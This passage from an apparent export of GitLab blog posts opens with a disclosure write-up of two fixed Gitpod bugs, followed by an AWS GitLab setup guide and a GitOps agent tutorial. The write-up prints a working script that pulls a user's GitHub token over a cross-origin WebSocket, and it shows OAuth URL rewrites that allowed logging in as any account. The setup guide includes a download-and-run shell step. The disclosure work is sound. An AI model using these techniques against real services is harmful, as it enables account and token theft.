this level of access makes it quite a high-value target. So I decided to look a bit at the inner workings and see how far I could get.\n\n### Using the product\n\nWhen opening a Git-based project you are assigned a random workspace name [in the form of](https://github.com/gitpod-io/gitpod/blob/2b2702f31b6fc6f67c4b447c814dd6db6b4a433f/components/gitpod-protocol/src/util/generate-workspace-id.ts) `color-animal-XXXXXXXX` like `amaranth-wallaby-e7mg0z34.ws-eu03.gitpod.io`. Once the workspace is booted, you can perform all sorts of tasks, with one very interesting task being to expose application ports to the public. Exposed ports are made available at `portnumber-color-animal-XXXXXXXX`, so exposing port 3000 for our example workspace will result in having the port accessible at `https://3000-amaranth-wallaby-e7mg0z34.ws-eu03.gitpod.io`.\n\nWhile using the web-based IDE under `https://amaranth-wallaby-e7mg0z34.ws-eu03.gitpod.io`, I noticed the application opened a WebSocket connection to an API endpoint at `https://gitpod.io/api/gitpod`. Within this WebSocket connection the IDE component of Gitpod from our workspace's subdomain was communicating with the main API. A sample request message when authenticated via GitHub would be:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 12,\n  \"method\": \"getToken\",\n  \"params\": {\n    \"host\": \"github.com\"\n  }\n}\n\n```\n\nThis request would obtain the logged-in user's access token for GitHub:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 12,\n  \"result\": {\n    \"value\": \"gho_justafaketokenhere\",\n    \"username\": \"oauth2\",\n    \"scopes\": [\n      \"user:email\"\n    ],\n    \"updateDate\": \"2021-04-14T09:06:46.578Z\"\n  }\n}\n```\n\n### Cross-origin WebSockets\n\nAfter seeing the above messages being exchanged on the WebSocket across the different origins, the next thing I did was try this from a site where I control the content. Namely the exposed port! While it's not the exact workspace name it's still under the same subdomain: `.ws-eu03.gitpod.io`.\n\nI simply served the following snippet via the exposed application port at `https://3000-amaranth-wallaby-e7mg0z34.ws-eu03.gitpod.io`\n\n```html\n\u003Cscript type=\"module\">\n  import { Octokit } from \"https://cdn.skypack.dev/@octokit/rest\";\n  var exampleSocket = new WebSocket(\"wss://gitpod.io/api/gitpod\")\n  exampleSocket.onmessage = function (event) {\n    console.log(event.data);\n    var x = JSON.parse(event.data);\n    var token = x.result.value;\n    console.log(x.result.value);\n    const octokit = new Octokit({\n    auth: token,\n  });\n octokit.users.getAuthenticated().then((user) => alert(\"hello \"+user.data.login));\n}\nexampleSocket.onopen = function (event) {\nexampleSocket.send('{\"jsonrpc\":\"2.0\",\"id\":29,\"method\":\"getToken\",\"params\":{\"host\":\"github.com\"}}')\n}\n\u003C/script>\n```\n\nAnd to my surprise this actually worked. It was possible to access the main WebSocket on behalf of the authenticated Gitpod user from a website I fully control.\n\nThe above script accesses the WebSocket while sending the user's cookies along with the request. This means we can authenticate the connection and ask for the user's GitHub access token. To verify everything works, the script authenticates against the GitHub API using the extracted access token to obtain the associated username and greets them with a `hello \u003Cgithub-username>` browser alert dialog.\n\nThis issue was fixed by Gitpod in their [May 2021 release](https://github.com/gitpod-io/gitpod/pull/4334/files#diff-06572a96a58dc510037d5efa622f9bec8519bc1beab13c9f251e97e657a9d4edR24).\n\nFor a realistic attack, we'd need to lure a logged in Gitpod user to the app's exposed port to be able to fully impersonate them on GitLab/GitHub/BitBucket. While this is certainly quite a serious issue it still involves a lot of user interaction and social engineering to be successful.\n\n## Gitpod vulnerability #2: log in as any account\n### Custom integrations\n\nWhile familiarizing myself a bit with the product, I came across the [`Integrations`](https://gitpod.io/integrations) settings.\n\n![Gitpod Integrations](https://about.gitlab.com/images/blogimages/gitpod_integrations.png){: .shadow.medium.center}\nGitpod integrations settings.\n{: .note.text-center}\n\nCustom integrations allow a user to gather an OAuth access token from self-managed GitLab and GitHub installations. This makes perfect sense since you might want to use Gitpod with your self-managed instance too. This setting caused a big 'what if?' moment for me. What if I could use a self-managed instance to log into Gitpod? On a self-managed instance I'm the king of my castle and can set arbitrary email addresses for any user. The idea here is to fool the login process and login as someone else. So I created an OAuth application as [documented](https://www.gitpod.io/docs/gitlab-integration#registering-a-self-hosted-gitlab-installation) and registered it as an Integration within Gitpod.\n\n### My first attempt\n\nIf you choose to login with `GitLab.com`, the regular login flow starts with a call to:\n\n```\nhttps://gitpod.io/api/login?host=gitlab.com&returnTo=https%3A%2F%2Fgitpod.io%2Flogin-success\n```\n\nThe first attempt I made was to swap `gitlab.com` with the URL of a self-managed instance, just like this:\n\n```\nhttps://gitpod.io/api/login?host=gl.thetanuki.io&returnTo=https%3A%2F%2Fgitpod.io%2Flogin-success\n```\n\nIt wasn't that easy, this try would promptly redirect to:\n\n```\nhttps://gitpod.io/sorry#Login%20with%20gl.thetanuki.io%20is%20not%20allowed.\n```\n\nLetting me know that I cannot log in with my self-managed instance.\n\n### My second attempt\n\nThe login request to `https://gitpod.io/api/login?host=gitlab.com&returnTo=https%3A%2F%2Fgitpod.io%2Flogin-success` originally redirected to:\n\n```\nhttps://gitlab.com/oauth/authorize?response_type=code&redirect_uri=https%3A%2F%2Fgitpod.io%2Fauth%2Fgitlab%2Fcallback&scope=read_user%20api&client_id=bde00c0a8f15b7041aafabcc98210c73c5f2ca973cbd52c8a555fa08deebbcc8\n```\n\nI rewrote that request to point to my self-managed instance, adapted the `redirect_uri` and `client_id` values to match those on that instance. After going through the login flow I could log into any account simply by setting the corresponding email address on the self-managed instance.\n\nThe result you can see in the screenshot below. Gitpod picked up the `admin@example.com` email address for my self-managed account, but really it could have been any email address I'd wanted to spoof:\n\n![admin@example.com account](https://about.gitlab.com/images/blogimages/admin-example.png){: .shadow.medium.center}\nAdmin example in Gitpod settings.\n{: .note.text-center}\n\nGitpod was super quick to fix this issue, from the initial report it took them just about five hours to ship [a fix](https://github.com/gitpod-io/gitpod/pull/3940)!\n\n### Conclusion\n\nFirst of all huge thanks to the Gitpod team for a 10 out of 10 disclosure experience and prompt handling of the vulnerability reports.\n\nGiving full API access to third parties is a common SaaS/cloud practice, however a leak somewhere could impact seemingly unrelated services.  In this case the attack wouldn't only have affected Gitpod alone but also the connected GitLab/GitHub/Bitbucket accounts.\n\n***Security Research at GitLab***\n\n*Security research is one component of our broader security organization's efforts to enhance the security posture of our company, products, and client-facing services. See our [Security Handbook](/handbook/security/security-engineering/security-research/) to learn more.*\n\nPhoto by [Marta Branco](https://www.pexels.com/@martabranco?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/closeup-photo-of-black-and-blue-keyboard-1194713/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n\n",[674,2952],{"slug":18051,"featured":6,"template":678},"two-bugs-and-a-quick-fix-in-gitpod","content:en-us:blog:two-bugs-and-a-quick-fix-in-gitpod.yml","Two Bugs And A Quick Fix In Gitpod","en-us/blog/two-bugs-and-a-quick-fix-in-gitpod.yml","en-us/blog/two-bugs-and-a-quick-fix-in-gitpod",{"_path":18057,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18058,"content":18064,"config":18069,"_id":18071,"_type":16,"title":18072,"_source":17,"_file":18073,"_stem":18074,"_extension":20},"/en-us/blog/how-to-stand-up-gitlab-in-awsmp",{"title":18059,"description":18060,"ogTitle":18059,"ogDescription":18060,"noIndex":6,"ogImage":18061,"ogUrl":18062,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18062,"schema":18063},"How to stand-up a GitLab instance in AWS Marketplace","This is a quick quide to help you provision a GitLab instance in the AWS Marketplace and setup a Runner.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682043/Blog/Hero%20Images/awsmp.png","https://about.gitlab.com/blog/how-to-stand-up-gitlab-in-awsmp","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to stand-up a GitLab instance in AWS Marketplace\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2021-06-30\",\n      }",{"title":18059,"description":18060,"authors":18065,"heroImage":18061,"date":18066,"body":18067,"category":734,"tags":18068},[691],"2021-06-30","\n\n## In this guide we will learn how to spin up GitLab in the AWS Marketplace:\n\n### Pre requisites for this lab are having an account in AWS and an accessible and working VPC.\n\n### We will learn the following steps:\n\n1. Stand up a self-managed instance of GitLab.\n2. Install Runner and Docker Engine.\n\n\n## Step-by-step Instructions\n\n\n### Step 1 - Stand up GitLab instance in AWS\n\n\n- Open [GitLab Ultimate](https://aws.amazon.com/marketplace/pp/B07SJ817DX) in AWS Marketplace.\n- Click on **Continue to Subscribe**\n\n![aws-1](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-1.png)\n\n- Sign in with your IAM user.\n\n![aws-2](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-2.png)\n\n- Click on **Continue to Configuration**.\n\n![aws-3](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-3.png)\n\n- Leave the default value for **Delivery Method**, select the latest version in **Software Version**, select your **Region**, click **Continue to Launch**.\n\n![aws-4](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-4.png)\n\n- In Launch this software page, scroll down.\n\n![aws-5](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-5.png)\n\n- Under **Security Group Settings** click **Create New Based On Seller Settings** .\n\n![aws-6](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-6.png)\n\n- Name your security group, add a description, and save it.\n\n![aws-7](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-7.png)\n\n- Select **Key Pair**. If you don't have key pair, create one. Leave other fields in this page with default values.  Click **Launch**.\n\n![aws-8](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-8.png)\n\n- You will get Congratulations message confirming you launched the machine successfully. In this message click on **EC2 Console** link.\n\n![aws-9](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-9.png)\n\n- Click on your instance ID link.\n\n![aws-10](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-10.png)\n\nThe provisioning takes a few minutes. Please wait before you start the next step.\n\n- Click \"Open address\" in order to open GitLab UI.\n\n Copy the **private** or **public** IP to your browser , depending on your **VPC configuration**.\n\n\n![aws-10_5](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-10_5.png)\n\n- It takes a few minutes to start the server, you may see this error, this is ok, wait 1 minute and refresh the page.\n\n![aws-11](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-11.png)\n\n- You now should be able to access the GitLab login page; Username is **root**, password is your **instance ID**, click **Sign in**.\n\n![aws-13](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-13.png)\n\n## Congratulations! you managed to start a GitLab instance and sign in to it.\n\n![aws-14](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/aws-14.png)\n\n\n\n\n### Step 2 - Install Runner and Docker Engine\n\n\nRunner machines are the build agents that run the CI/CD jobs.\n\nRequirements:\n\n- Jobs run inside the Docker images, therefore the runner machine requires Docker engine on the runner machine.\n\n\n### Connect to the machine with the **AWS console - Connect**\n\nIn order to setup the Runners and Docker engine, we need to connect to the GitLab machine we are running. This can be done via **SSH** from any command line, or directly via the **AWS Console**, depending on how your **VPC** is set. In our example we will use the **AWS console - Connect** feature to SSH into the machines.\n\n**WARNING: It is not a recommended best practice to install Runners on the same machine where the server is installed for security and performance reasons, but only for the sake of simplicity, in this blog we will install it on the same machine.**\n\n  - Go to your Instance summary, and click **Connect** in order to open the console.\n\n  ![runner-1](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/runner-1.png)\n\n  - Click Connect again.\n\n  ![runner-2](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/runner-2.png)\n\n\n### Install Docker engine\n\n  - Install Container by running this command `curl -fsSL https://get.docker.com -o get-docker.sh\n   sudo sh get-docker.sh`\n\n\n### Setup Runners\n\n  - Download the binaries for Linux x86 `sudo curl -L --output /usr/local/bin/gitlab-runner \"https://gitlab-runner-downloads.s3.amazonaws.com/latest/binaries/gitlab-runner-linux-386\"`\n  - Give it permissions to execute: `sudo chmod +x /usr/local/bin/gitlab-runner`\n  - Create a GitLab CI user: `sudo useradd --comment 'GitLab Runner' --create-home gitlab-runner --shell /bin/bash`\n  - Install and run as service: `sudo gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner\nsudo gitlab-runner start`\n\n\n### Register the Runner\n\n\n  - Run this command: `sudo gitlab-runner register`.\n  - You will be prompt to enter URL.\n  - Open your GitLab instance, under CI/CD settings:\n    - Click Settings, CI/CD.\n\n      ![runner-2](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/runner-3.png)\n\n    - Expand **Runners**.\n\n      ![runner-4](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/runner-4.png)\n\n    - Copy the URL to the clipboard under specific runner.\n\n    ![runner-5](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/runner-5.png)\n\n  - Paste the URL in the console.\n  - Enter.\n  - You will be prompt to enter registration token, copy it from the Runner settings.\n\n![runner-5](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/runner-6.png)\n\n  - Paste it in the console.\n  - Enter Description for the runner: type **GitLab workshop**.\n  - Add a tag to this runner, for example type **Linux**\n  - Enter executor, type **docker**.\n  - Enter the default Docker image, type **ruby:2.6**.\n  - You will get a message starting with **Runner registered successfully. Feel free to start it...**\n  - Refresh the Runner settings page in GitLab and you will see your runner under **Available specific runners**.\n  - Click edit.\n\n  ![runner-7.png](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/runner-7.png)\n\n  - Check the **Indicates whether this runner can pick jobs without tags** option, and click **Save changes**.\n\n  ![runner-7.png](https://about.gitlab.com/images/blogimages/2021-aws-marketplace-blog/runner-8.png)\n\n\n## Well done!! You installed and registered successfully GitLab Runner. Now you are ready to create a project and run your first CI/CD pipeline.\n\nIn my next blog, I will show you how to create a project, configure the CI/CD, change your application code, and run a CI/CD pipeline.\n",[2368,4103],{"slug":18070,"featured":6,"template":678},"how-to-stand-up-gitlab-in-awsmp","content:en-us:blog:how-to-stand-up-gitlab-in-awsmp.yml","How To Stand Up Gitlab In Awsmp","en-us/blog/how-to-stand-up-gitlab-in-awsmp.yml","en-us/blog/how-to-stand-up-gitlab-in-awsmp",{"_path":18076,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18077,"content":18083,"config":18088,"_id":18090,"_type":16,"title":18091,"_source":17,"_file":18092,"_stem":18093,"_extension":20},"/en-us/blog/how-to-use-agent-based-gitops",{"title":18078,"description":18079,"ogTitle":18078,"ogDescription":18079,"noIndex":6,"ogImage":18080,"ogUrl":18081,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18081,"schema":18082},"How to use a pull-based (agent-based) approach for GitOps","Learn how GitLab supports agent-based approach for GitOps","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682037/Blog/Hero%20Images/agent-based-gitops-cover-880x587.jpg","https://about.gitlab.com/blog/how-to-use-agent-based-gitops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use a pull-based (agent-based) approach for GitOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2021-06-23\",\n      }",{"title":18078,"description":18079,"authors":18084,"heroImage":18080,"date":18085,"body":18086,"category":734,"tags":18087},[937],"2021-06-23","\n\nIn the previous post, titled [3 ways to approach GitOps](https://about.gitlab.com/blog/gitops-done-3-ways/), we discussed the many benefits and options that GitLab supports for fulfilling the [GitOps](/topics/gitops/) requirements of customers, whose IT environments are composed of heterogeneous technologies and infrastructures. This post is a 3-part series, in which we delve deeper into these options. In this first part, we cover the pull-based or agent-based approach.\n\n## About a pull-based or agent-based approach\n\nIn this approach, an agent is installed in your infrastructure components to pull changes whenever there is a drift from the desired configuration, which resides in GitLab. Although the infrastructure components could be anything from a physical server or router to a VM or a database, we will focus on a Kubernetes cluster in this section.\n\nIn the following example, the [reconciliation loop](https://about.gitlab.com/solutions/gitops/) is made up of two components: an agent running on the Kubernetes cluster and a server-side service running on the GitLab instance. One of the benefits of this approach is that you don’t have to expose your Kubernetes clusters outside your firewall. Another benefit is its distributed architecture, in that agents running on the infrastructure components are in charge of correcting any drift relieving the server-side from resource consumption. This approach requires the maintenance and installation of agents on all infrastructure components you want to be part of your GitOps flows.\n\n### GitLab Agent for Kubernetes as a pull-based approach\n\n[Introduced](https://about.gitlab.com/releases/2020/09/22/gitlab-13-4-released/#introducing-the-gitlab-kubernetes-agent) as part of GitLab 13.4, the GitLab Agent for Kubernetes runs on your Kubernetes cluster and pulls changes in your infrastructure configuration from GitLab to your cluster keeping your infrastructure configuration from drifting away from its desired state.\n\nGitLab Agent for Kubernetes (the feature) is currently implemented as two components ([architecture doc](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/architecture.md)):\n\n- GitLab Agent for Kubernetes (agentk program): The component that users install into their cluster.\n\n- GitLab Agent for Kubernetes Server (kas program): The server-side counterpart, that runs \"next to GitLab.\"\n\nThe high-level architecture of the GitLab Agent for Kubernetes is depicted below:\n\n![GitLab K8s agent high-level architecture](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/0-K8s-agent-arch.png){: .shadow.small.center.wrap-text}\nGitLab K8s agent high-level architecture.\n{: .note.text-center}\n\nThe **agentk** is installed on your Kubernetes cluster and it is the component that applies updates to the infrastructure. The **kas** is installed on the GitLab instance and it manages the authentication and authorization between **agentk** instances and GitLab, monitors projects for any changes and gathers latest project manifests to send to **agentk** instances.\n\n> **NOTE:** on Gitlab.com, the **kas** is installed and maintained by GitLab. On self-managed instances, the customer needs to install it.\n\nIn the following self-managed instance example, we go through a GitOps flow that leverages the pull-based approach to GitOps.  After the **agentk** component has already been installed on the K8s cluster, the user proceeds to log on to the GitLab instance and creates a project called **gitops-project**:\n\n![Creating the gitops-project](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/1-create-gitops-proj.png){: .shadow.medium.center.wrap-text}\nCreating the gitops-project.\n{: .note.text-center}\n\nThe project **gitops-project** will be the one that will be monitored or observed by the **kas** component. Then, under **gitops-project**, the user creates an empty manifest file called **manifest.yaml**. This is the manifest file that will contain the Infrastructure as Code configuration for this project:\n\n![Manifest file created](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/2-manifest-file-created.png){: .shadow.medium.center.wrap-text}\nManifest file created.\n{: .note.text-center}\n\nNext, the user creates a Kubernetes agent configuration repository project, **kubernetes-agent**, which will contain information pertinent to the **kas** component.\n\n![Creating the kubernetes-agent project](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/3-create-K8s-agent-proj.png){: .shadow.medium.center.wrap-text}\nCreating the kubernetes-agent project.\n{: .note.text-center}\n\nWithin the **kubernetes-agent** project, the user creates a subdirectory **.gitlab/agents/agent1**, where **agent1** is the name given to this specific agent:\n\n![Config.yaml file created](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/4-config-yaml-created.png){: .shadow.medium.center.wrap-text}\nConfig.yaml file created.\n{: .note.text-center}\n\nNotice that in the screenshot above, the project to be observed, **gitops-project**, was created in an earlier step.\n\nThe next step consists of the creation of a GitLab Rails Agent record to associate it with the Kubernetes agent configuration repository project. In the following screenshot, you see the commands that the user enters to first identify the task-runner pod, to log into it, to enter the Rails Console, and finally to create the agent record and a token for it:\n\n![Agent record created](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/5-agent-record-created.png){: .shadow.medium.center.wrap-text}\nAgent record created.\n{: .note.text-center}\n\nIn the above screenshot, the last command uses the agent token to create a secret on the K8s cluster for secured communication between the **agentk** and the **kas** components.\n\nThe **agentk** pod creation on the K8s cluster is the next step. For this, the user creates a **resources.yml** file, in which the secured communication protocol between the **agentk** and the **kas** is specified as shown in the following snippet:\n\n![Websockets line](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/6-wss-line-in-resources-yml.png){: .shadow.medium.center.wrap-text}\nWebSockets communication specified in the resources.yml file.\n{: .note.text-center}\n\nIn the above snippet, secured WebSockets protocol is being used. GitLab also supports gRPC.\n\nOnce the **resources.yml** file is updated with the corresponding GitLab instance information, the user proceeds to create the pod:\n\n![Agentk pod created](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/7-agentk-created.png){: .shadow.medium.center.wrap-text}\nCreation of the **agentk** pod.\n{: .note.text-center}\n\nIn the screenshot above, you can see the execution of the **kubectl apply** that created the **agentk** pod in the K8s cluster.\n\nNow that the **agentk** and **kas** have been installed and are communicating securely with each other, the user can start performing some GitOps flows. Although the [GitLab Flow](https://about.gitlab.com/topics/version-control/what-is-gitlab-flow/) is the recommended approach for DevOps, it is also applicable to GitOps flows; after all GitOps is all about applying the goodness of DevOps to managing [Infrastructure as Code](/topics/gitops/infrastructure-as-code/).\n\nThis means that the user should create an issue and then a merge request, in which all stakeholders can collaborate towards the resolution of the issue. For the sake of brevity, in this technical blog post, we will skip all these steps and show you how updates to the Infrastructure as Code configuration files are automatically applied to the infrastructure components.\n\nNOTE: Fostering Collaboration is a great benefit of GitOps. For more information on this, check out this short [tech video](https://youtu.be/onFpj_wvbLM).\n\nFor example, the user can start making updates to the **manifest.yaml** file under the **gitops-project**, which is being observed by the kas component. Here you can see the user has pasted content into this file:\n\n![Manifest.yaml file updated](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/8-manifest-yaml-updated.png){: .shadow.medium.center.wrap-text}\nManifest.yaml file updated.\n{: .note.text-center}\n\nRemember that this file had been created as an empty file. As soon as the user commits the changes displayed above, the **kas** component will detect the changes and communicate these to the **agentk** component, which is running on the K8s cluster. The **agentk** will immediately apply these changes to the infrastructure. In this example, the user has updated the infrastructure configuration file to have 2 instances of an nginx. As shown in the screenshot below, the **agentk** has applied these updates by the instantiation of 2 nginx pods in the K8s cluster:\n\n![Two nginx pods up and running](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/9-two-nginx-running.png){: .shadow.medium.center.wrap-text}\nGitOps flow instantiates two nginx pods.\n{: .note.text-center}\n\nIf the user were to change the **manifest.yaml** file one more time and increment the replicas of the nginx pod to 3:\n\n![Manifest.yaml file updated with 3 nginx](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/10-manifest-yaml-updated-again.png){: .shadow.medium.center.wrap-text}\nManifest.yaml file updated with 3 nginx instances.\n{: .note.text-center}\n\nAgain, as soon as the commit takes place, the **kas** component detects the update and communicates this to the **agentk** component, which in turn, spins up a third nginx pod in the K8s cluster:\n\n![Three nginx pods up and running](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/11-three-nginx-running.png){: .shadow.medium.center.wrap-text}\nGitOps flow instantiates a third nginx pod.\n{: .note.text-center}\n\nLastly, the user can check the log files of the different components running on GKE, in this example. In the following screenshot, the user can see the **kas** component running on the GitLab instance:\n\n![kas running on GKE](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/12-kas-on-GKE.png){: .shadow.medium.center.wrap-text}\nThe **kas** component running on GKE.\n{: .note.text-center}\n\nAnd then the user can drill down into the log of the **kas** component, and see how it is detecting commits on the project it is observing:\n\n![kas log on GKE](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/13-kas-log-on-GKE.png){: .shadow.medium.center.wrap-text}\nThe **kas** log output on GKE.\n{: .note.text-center}\n\nLikewise, the user can navigate to the **agentk** component of the K8s cluster:\n\n![agentk running on GKE](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/14-agentk-on-GitLab.png){: .shadow.medium.center.wrap-text}\nThe **agentk** component running on GKE.\n{: .note.text-center}\n\nAnd, again drill down to its log to see, how the **agentk** component runs synchronizations with the **kas** component:\n\n![agentk log on GKE](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/15-agentk-log-top-on-GitLab.png){: .shadow.medium.center.wrap-text}\nThe **agentk** log output on GKE.\n{: .note.text-center}\n\nIn the following screenshot, the user sees the log statements indicating that the **agentk** is instantiating a third instance of an nginx pod:\n\n![agentk instantiating a third nginx pod](https://about.gitlab.com/images/blogimages/how-to-use-agent-based-gitops/16-agentk-log-synced-on-GitLab.png){: .shadow.medium.center.wrap-text}\nThe **agentk** instantiating a third nginx pod.\n{: .note.text-center}\n\nThe above sections described an example of the setup needed to install and run the GitLab Agent for Kubernetes as well as how projects are monitored and synchronized from GitLab to a running K8s cluster.\n\n## Conclusion\n\nWe have gone over the setup and use of the Agent, which is an integral part of our pull-based or agent-based approach to GitOps. We also covered a GitOps flow that leveraged this agent-based approach, which is a good choice for Kubernetes shops that need to keep their clusters secured and behind their firewall. This approach comes with its drawbacks in that you need to maintain the agents, which also consume the resources of your infrastructure components. In part two of this series, we will discuss the push-based or agentless approach to GitOps.\n\nCover image by [Vincent Ledvina](https://unsplash.com/@vincentledvina?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/grand-tetons?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[534,754,1384,4103,4144],{"slug":18089,"featured":6,"template":678},"how-to-use-agent-based-gitops","content:en-us:blog:how-to-use-agent-based-gitops.yml","How To Use Agent Based Gitops","en-us/blog/how-to-use-agent-based-gitops.yml","en-us/blog/how-to-use-agent-based-gitops",{"_path":18095,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18096,"content":18102,"config":18109,"_id":18111,"_type":16,"title":18112,"_source":17,"_file":18113,"_stem":18114,"_extension":20},"/en-us/blog/gitlab-14-modern-devops",{"title":18097,"description":18098,"ogTitle":18097,"ogDescription":18098,"noIndex":6,"ogImage":18099,"ogUrl":18100,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18100,"schema":18101},"Modern DevOps shift in GitLab 14: Speed, trust & visibility","GitLab 14 accelerates modern DevOps, bringing velocity with confidence, built-in security, and visibility into DevOps success.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668091/Blog/Hero%20Images/gitlab-version-14-wide.png","https://about.gitlab.com/blog/gitlab-14-modern-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 14 signals shift to modern DevOps: A DevOps platform with velocity, trust, and visibility\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brian Glanz\"}],\n        \"datePublished\": \"2021-06-22\",\n      }",{"title":18103,"description":18098,"authors":18104,"heroImage":18099,"date":18106,"body":18107,"category":962,"tags":18108},"GitLab 14 signals shift to modern DevOps: A DevOps platform with velocity, trust, and visibility",[18105],"Brian Glanz","2021-06-22","\n\nThe DevOps era began with a big idea – dissolve silos to deliver better software, faster. In the transition from classic software paradigms, DIY DevOps toolchains were built with parts that were never designed to work together. That DIY DevOps era left many trapped in new silos, without visibility, and mired in maintenance. Business outcomes suffered as the potential of DevOps was never fully realized.\n\n\n## The next iteration of DevOps\nThere is a better way to build software. [GitLab 14](/gitlab-14/) delivers modern DevOps with a [complete DevOps platform](/topics/devops-platform/), for a streamlined experience that unleashes the power of DevOps. Over the past year, GitLab has shipped advanced DevOps platform capabilities that enable any team to build and deliver software with velocity, trust, and visibility – no matter their size, industry, or location.  \n\nWith enhancements across the software development lifecycle, GitLab has placed strongly in several market reports across a broad range of areas from [Enterprise Agile Planning](/analysts/gartner-eapt21/) and [Application Security Testing](/analysts/gartner-ast21/) to [Continuous Delivery and Release Automation](/analysts/forrester-cdra20/). Tying it all together with a platform approach is a keystone of the next shift in the DevOps movement. GitLab was named a representative vendor in a market overview of [DevOps platforms](/analysts/gartner-vsdp21/).\n\nAs a “new normal” is taking shape after the pandemic, companies worldwide are coming to grips with what it means to work in hybrid and remote environments. A modern DevOps solution needs to meet the emerging demands for a more flexible workplace. GitLab has been a pioneer and champion of remote work for years and was recently [mentioned by Fast Company as a world-changing idea](https://www.fastcompany.com/90624506/world-changing-ideas-awards-2021-general-excellence-finalists-and-honorable-mentions). Having unlocked many of the secrets to remote work success, GitLab stepped up to help others out by shipping a [Remote Work Playbook](/company/culture/all-remote/) and a Coursera course on “[How to Manage a Remote Team](https://www.coursera.org/learn/remote-team-management).” Our all-remote know-how and experience went into the development of GitLab 14 to build capabilities that work wherever you do. \n\n\n## Velocity with confidence\nGitLab 14 enables you to increase development velocity and stay confident with a consistent and efficient developer and operator experience, yielding a more predictable DevOps lifecycle. By using one platform for source code management, continuous integration (CI), continuous delivery (CD), infrastructure as code, security, and beyond, teams are more efficient, collaborative, and productive. Our [2021 Global DevSecOps Survey](/blog/why-software-developer-job-satisfaction-matters-and-how-to-make-it-happen/) shows engineers are happier when they can focus on innovation and adding value than when maintaining integrations – and happy developers attract and retain talent.\n\nOrganizations with a mature DevOps culture know the value of managing configuration as code, IT infrastructure as code, and more, with the same platform and best practices used for application development. In GitLab 14, our [Pipeline Editor](/releases/2021/01/22/gitlab-13-8-released/#the-new-pipeline-editor-makes-cicd-easy-to-use) lowers the barrier to entry for CI/CD while also accelerating power users, with visual authoring and versioning, continuous validation, and pipeline visualization. GitLab 14’s [Kubernetes Agent](/blog/gitlab-kubernetes-agent-on-gitlab-com/) enables secure deployment to your cloud-native infrastructure. GitLab 14 also meets customers where they are by supporting GitOps with agent-based and agentless approaches and allows for deployments anywhere, regardless of whether infrastructure is cloud-native.\n\n\n## Visibility into DevOps success\nThe [DevOps Research and Assessment (DORA)](https://www.devops-research.com/research.html) firm’s industry-defining research shows how focused improvement of software delivery performance leads to positive business outcomes like happier customers, greater market share, and increased revenue. Focusing efforts requires measuring four metrics in particular that are highly correlated with business performance. These are deployment frequency, lead time for changes, time to restore service, and change failure rate. \n\nAs a complete DevOps platform, GitLab 14 is uniquely capable of delivering visibility into DevOps 